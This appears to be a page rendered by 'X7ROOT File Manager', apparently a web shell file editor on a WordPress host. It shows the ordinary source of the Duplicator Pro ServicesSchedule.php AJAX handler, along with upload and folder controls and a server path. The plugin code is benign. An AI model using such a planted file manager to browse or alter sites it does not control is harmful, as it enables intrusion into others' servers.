File Manager

X7ROOT File Manager

Current Path: /home/katmhsmi/katrynrose.com/wp-content/plugins/duplicator-pro/src/Ajax

home / katmhsmi / katrynrose.com / wp-content / plugins / duplicator-pro / src / Ajax /

📁 ..
📄 AbstractAjaxService.php(562 B)
📄 AjaxServicesUtils.php(1.02 KB)
📄 AjaxWrapper.php(2.57 KB)
📁 FileTransfer
📄 ServicesBrand.php(2.04 KB)
📄 ServicesDashboard.php(1.98 KB)
📄 ServicesImport.php(6.95 KB)
📄 ServicesNotifications.php(3.04 KB)
📄 ServicesPackage.php(34.16 KB)
📄 ServicesRecovery.php(18.34 KB)
📄 ServicesSchedule.php(6.25 KB)
📄 ServicesSettings.php(15.81 KB)
📄 ServicesStorage.php(13.33 KB)
📄 ServicesTools.php(2.89 KB)

Editing: ServicesSchedule.php

<?php

/**
 * @package   Duplicator
 * @copyright (c) 2022, Snap Creek LLC
 */

namespace Duplicator\Ajax;

use DUP_PRO_Handler;
use DUP_PRO_Log;
use DUP_PRO_Package;
use DUP_PRO_Package_Runner;
use DUP_PRO_Schedule_Entity;
use DUP_PRO_U;
use Duplicator\Core\CapMng;
use Error;
use Exception;
use stdClass;

class ServicesSchedule extends AbstractAjaxService
{
    const SCHEDULE_BULK_DELETE     = 1;
    const SCHEDULE_BULK_ACTIVATE   = 2;
    const SCHEDULE_BULK_DEACTIVATE = 3;

/**
     * Init ajax calls
     *
     * @return void
     */
    public function init()
    {
        $this->addAjaxCall('wp_ajax_duplicator_pro_schedule_bulk_action', 'bulkAction');
        $this->addAjaxCall('wp_ajax_duplicator_pro_get_schedule_infos', 'getScheduleInfo');
        $this->addAjaxCall('wp_ajax_duplicator_pro_run_schedule_now', 'runScheduleNow');
    }

/**
     * Schedule bulk actions
     *
     * @return void
     */
    public function bulkAction()
    {
        DUP_PRO_Handler::init_error_handler();
        check_ajax_referer('duplicator_pro_schedule_bulk_action', 'nonce');

$isValid     = true;
        $json        = array(
            'success' => true,
            'message' => '',
        );
        $inputData   = filter_input_array(INPUT_POST, array(
            'schedule_ids' => array(
                'filter'  => FILTER_VALIDATE_INT,
                'flags'   => FILTER_REQUIRE_ARRAY,
                'options' => array('default' => false),
            ),
            'perform'      => array(
                'filter'  => FILTER_VALIDATE_INT,
                'flags'   => FILTER_REQUIRE_SCALAR,
                'options' => array('default' => false),
            ),
        ));
        $scheduleIDs = $inputData['schedule_ids'];
        $action      = $inputData['perform'];

if (empty($scheduleIDs) || in_array(false, $scheduleIDs) || $action === false) {
            $isValid = false;
        }

try {
            CapMng::can(CapMng::CAP_SCHEDULE);

if (!$isValid) {
                throw new Exception(__("Invalid Request.", 'duplicator-pro'));
            }

foreach ($scheduleIDs as $id) {
                switch ($action) {
                    case self::SCHEDULE_BULK_DELETE:
                        DUP_PRO_Schedule_Entity::deleteById($id);
                        break;
                    case self::SCHEDULE_BULK_ACTIVATE:
                        $schedule = DUP_PRO_Schedule_Entity::getById($id);
                        if (count($schedule->storage_ids) === 0) {
                            $json['success']  = false;
                            $json['message'] .= "Could not activate schedule with ID " . $schedule->getId() .
                                " because it has no Storages.<br>";
                        } else {
                            $schedule->active = true;
                            $schedule->save();
                        }
                        break;
                    case self::SCHEDULE_BULK_DEACTIVATE:
                        $schedule         = DUP_PRO_Schedule_Entity::getById($id);
                        $schedule->active = false;
                        $schedule->save();
                        break;
                    default:
                        throw new Exception("Invalid schedule bulk action.");
                }
            }
        } catch (Exception $ex) {
            $json['success'] = false;
            $json['message'] = $ex->getMessage();
        }

die(json_encode($json));
    }

/**
     * Get schedule info action
     *
     * { schedule_id, is_running=true|false, last_ran_string}
     *
     * @return void
     */
    public function getScheduleInfo()
    {
        DUP_PRO_Handler::init_error_handler();
        check_ajax_referer('duplicator_pro_get_schedule_infos', 'nonce');
        CapMng::can(CapMng::CAP_SCHEDULE);
        $schedules      = DUP_PRO_Schedule_Entity::getAll();
        $schedule_infos = array();

if (count($schedules) > 0) {
            $package = DUP_PRO_Package::get_next_active_package();

foreach ($schedules as $schedule) {
                $schedule_info = new stdClass();

$schedule_info->schedule_id     = $schedule->getId();
                $schedule_info->last_ran_string = $schedule->get_last_ran_string();

if ($package != null) {
                    $schedule_info->is_running = ($package->schedule_id == $schedule->getId());
                } else {
                    $schedule_info->is_running = false;
                }

array_push($schedule_infos, $schedule_info);
            }
        }

wp_send_json($schedule_infos);
    }

/**
     * Run schedule action
     *
     * @return void
     */
    public function runScheduleNow()
    {
        DUP_PRO_Handler::init_error_handler();
        check_ajax_referer('duplicator_pro_run_schedule_now', 'nonce');

$json = array(
            'success' => false,
            'message' => '',
        );

try {
            CapMng::can(CapMng::CAP_SCHEDULE);
            $schedule_id = filter_input(INPUT_POST, 'schedule_id', FILTER_VALIDATE_INT);

if ($schedule_id === false) {
                throw new Exception(__("Invalid schedule id", 'duplicator-pro'));
            }

$schedule = DUP_PRO_Schedule_Entity::getById($schedule_id);

if ($schedule == false) {
                DUP_PRO_Log::trace("Attempted to queue up a job for non existent schedule $schedule_id");
                throw new Exception(__("Invalid schedule id", 'duplicator-pro'));
            }

DUP_PRO_Log::trace("Inserting new package for schedule $schedule->name due to manual request");
            // Just inserting it is enough since init() will automatically pick it up and schedule a cron in the near future.
            $schedule->insert_new_package(true);
            DUP_PRO_Package_Runner::kick_off_worker();

$json = array(
                'success' => true,
                'message' => '',
            );
        } catch (Exception $e) {
            $json['success'] = false;
            $json['message'] = $e->getMessage();
        } catch (Error $e) {
            $json['success'] = false;
            $json['message'] = $e->getMessage();
        }

die(json_encode($json));
    }
}

X7ROOT File Manager

Editing: ServicesSchedule.php

Upload File

Create Folder